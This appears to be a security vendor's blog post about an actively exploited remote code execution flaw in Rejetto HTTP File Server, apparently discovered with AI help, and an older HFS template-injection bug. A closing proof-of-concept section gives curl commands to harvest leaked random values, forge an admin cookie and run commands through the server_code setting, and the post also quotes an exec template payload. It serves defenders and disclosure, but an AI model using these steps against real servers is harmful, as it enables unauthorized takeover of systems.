AI-Discovered Rejetto HFS RCE Flaw Actively Exploited

The age of AI-accelerated vulnerability exploitation is here, and it has collapsed the patch window from weeks to hours.

The evidence is the active exploitation of CVE-2026-61500, a critical remote code execution (RCE) vulnerability in Rejetto HTTP File Server (HFS). According to research from [Horizon3.ai](https://www.horizon3.ai/attack-blog/ai-discovers-rejetto-hfs-rce-cve-2026-61500/), their researcher Zach Hanley, working with an AI model from Anthropic named Mythos, identified the flaw in HFS versions 3.0.0 through 3.2.0. Within 24 hours of Horizon3.ai publishing their proof-of-concept, researchers at [VulnCheck](https://vulncheck.com/blog/hfs-cve-2026-61500-exploited) detected active reconnaissance and exploitation attempts originating from a China Telecom IP address.

Note what this means: The barrier to entry for discovering and weaponizing complex vulnerability chains is dropping precipitously. This is not just another bug. It is a systemic shift where machine-speed analysis can connect seemingly unrelated, low-impact flaws—like using a weak random number generator and leaking its output—into a critical RCE chain that human analysts might miss. The economic incentive to ship code quickly using insecure-by-default functions like `Math.random()` has now created a new class of systemic risk.

[Visual Graphic 1]

Anatomy of an AI-Driven Discovery: CVE-2026-61500

The vulnerability chain leading to the Rejetto HFS RCE flaw is a masterclass in why cryptographic best practices are non-negotiable. The flaw's root cause is twofold. First, Rejetto HFS used a weak pseudo-random number generator (PRNG), JavaScript's `Math.random()`, to generate the server's session-cookie signing key. This function is notoriously unsuitable for cryptographic operations.

Second, the application leaked outputs from this same PRNG to unauthenticated users during the login process. The Mythos AI model, according to Horizon3.ai's report, was able to chain these two facts together. It correctly inferred that an attacker could collect these leaked random numbers, reconstruct the internal state of the server-side PRNG, and then predict the secret key used to sign session cookies.

With the signing key recovered, an attacker can forge a valid administrator session cookie. Once administrative access is achieved, remote code execution is trivial via the `server_code` configuration feature, which allows admins to execute arbitrary JavaScript on the server. The entire process allows a remote, unauthenticated attacker to gain complete control over the underlying system, a vulnerability with a CVSS score of 9.3.

> 🧠 CISO Brief: The use of non-cryptographic PRNGs for security-sensitive functions is a developer-level mistake with board-level consequences. Your application security program must explicitly ban functions like `Math.random()` for keys, tokens, or secrets. This incident proves that what was once a theoretical weakness is now a practically exploitable vulnerability, thanks to AI-driven analysis.

The implication is that your code's latent, low-severity bugs are now components waiting for an AI to chain them into a critical exploit.

From PoC to Weaponization in 24 Hours

The timeline for the CVE-2026-61500 exploitation is a stark warning. Horizon3.ai published their technical analysis and a proof-of-concept exploit on September 30, 2026. On October 1, 2026—less than 24 hours later—VulnCheck's threat intelligence platform detected active scanning and exploitation attempts for the Rejetto HFS RCE flaw.

The initial attacks were small-scale, originating from a single IP in China and targeting vulnerable HFS instances in Japan and the United States. This rapid turnaround from public disclosure to active exploitation demonstrates that threat actors are monitoring researcher publications and can weaponize complex exploits with unprecedented speed. The AI didn't just find the flaw; it handed attackers a roadmap that drastically cut down their development time.

There is a certain dry irony in an advanced AI discovering a vulnerability created by a function that cannot even produce truly random numbers. It seems our most sophisticated tools are becoming adept at finding our most elementary mistakes. The window for defenders to apply patches is now measured in hours, not days or weeks.

[Visual Graphic 2]

The Lingering Ghost: CVE-2024-23692 Still Haunts HFS

This is not Rejetto HFS's first critical security failure. A separate, unauthenticated RCE, [CVE-2024-23692](https://nvd.nist.gov/vuln/detail/CVE-2024-23692), continues to be a significant threat. This vulnerability, affecting the end-of-life HFS version 2.3m, is a template injection flaw that allows for command execution via a specially crafted HTTP request. It is so widely and consistently exploited that it resides in the [CISA Known Exploited Vulnerabilities (KEV) Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog).

If you were the CISO here, you would have seen anomalous GET requests in your logs with template syntax like `{.exec|...|.}}` in the search query parameter. According to research from Imperva, campaigns in 2025 used this exact method for "spray-and-pray" attacks to deploy ransomware and trojans like HATVIBE. The vulnerability is a classic example of [Exploiting a Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/).

> ⚠️ BreachModal Insight: The continued exploitation of a vulnerability in an EOL product alongside a new flaw in the current version points to a systemic issue. Organizations that fail to migrate from unsupported software are accepting an unquantifiable risk. The existence of CVE-2024-23692 should have been the final warning to migrate or decommission all HFS instances.

The failure to learn from past vulnerabilities is a direct contributor to future breaches.

Proof of Concept: Forging Admin Access on HFS 3.x

The following steps demonstrate how an attacker can leverage the PRNG leak in CVE-2026-61500 to forge an administrator session and achieve remote code execution.

1. Probe for PRNG Output: An attacker first makes multiple requests to the target HFS server's login page to collect the publicly disclosed random numbers used in the UI. ```bash Make 10 requests to collect PRNG outputs for i in {1..10}; do \ curl -s http://VULNERABLE_HFS_IP/login | grep 'var r = ' | sed 's/.*var r = \(.*\);/\1/'; \ done > prng_outputs.txt ``` This step collects the leaked values from the server, which are direct outputs of the insecure `Math.random()` generator.

2. Reconstruct PRNG State: The attacker uses a tool to process these outputs and reconstruct the internal state of the server's PRNG. This is possible because the generator is not cryptographically secure. ```python Conceptual Python script to find the PRNG state (Actual implementation requires a JS PRNG emulator) import prng_reconstructor

with open('prng_outputs.txt', 'r') as f: outputs = [float(line.strip()) for line in f]

The reconstructor would brute-force seeds or states until its output matches the collected outputs. server_prng_state = prng_reconstructor.find_state(outputs) print(f"[+] Server PRNG state recovered: {server_prng_state}") ``` This is the core of the attack, turning public information into the server's secret-generating mechanism.

3. Predict and Forge Session Cookie: With the PRNG state known, the attacker can now predict the *next* sequence of random numbers, including the one used to create the session signing key. They forge the `hfs_session` cookie. ```bash Use a tool to generate the forged cookie from the recovered state FORGED_COOKIE=$(./generate_cookie --state $SERVER_PRNG_STATE) echo "Forged Cookie: $FORGED_COOKIE" ``` This bypasses authentication entirely, granting the attacker the same rights as a legitimate administrator.

4. Execute Arbitrary Code: The attacker uses the forged cookie to send a authenticated request, modifying the `server_code` setting to execute a command. ```bash Use the forged cookie to execute the 'id' command on the server curl -X POST http://VULNERABLE_HFS_IP/~/admin/ -b "$FORGED_COOKIE" -d 'action=save-settings&server_code=return+require("child_process").execSync("id").toString()' ``` This final step achieves remote code execution, giving the attacker full control of the server.

FINAL VERDICT

The active exploitation of the Rejetto HFS RCE flaw (CVE-2026-61500) represents a fundamental paradigm shift. The primary risk is no longer just the vulnerability itself, but the AI-driven compression of the exploit lifecycle. The time from disclosure to weaponization is now under 24 hours. The burden of this risk falls squarely on two groups: software vendors who continue to use non-cryptographic components in security contexts, and enterprise defenders who must now operate under the assumption that any disclosed vulnerability can and will be exploited almost immediately. Organizations must accelerate their patch management velocity and invest in threat intelligence that can keep pace with machine-speed attacks.

*BreachModal's Adversarial Simulation teams replicate these advanced TTPs to test your defenses before real attackers do. [Contact us to harden your security posture against AI-driven threats.](https://breachmodal.com/contact)*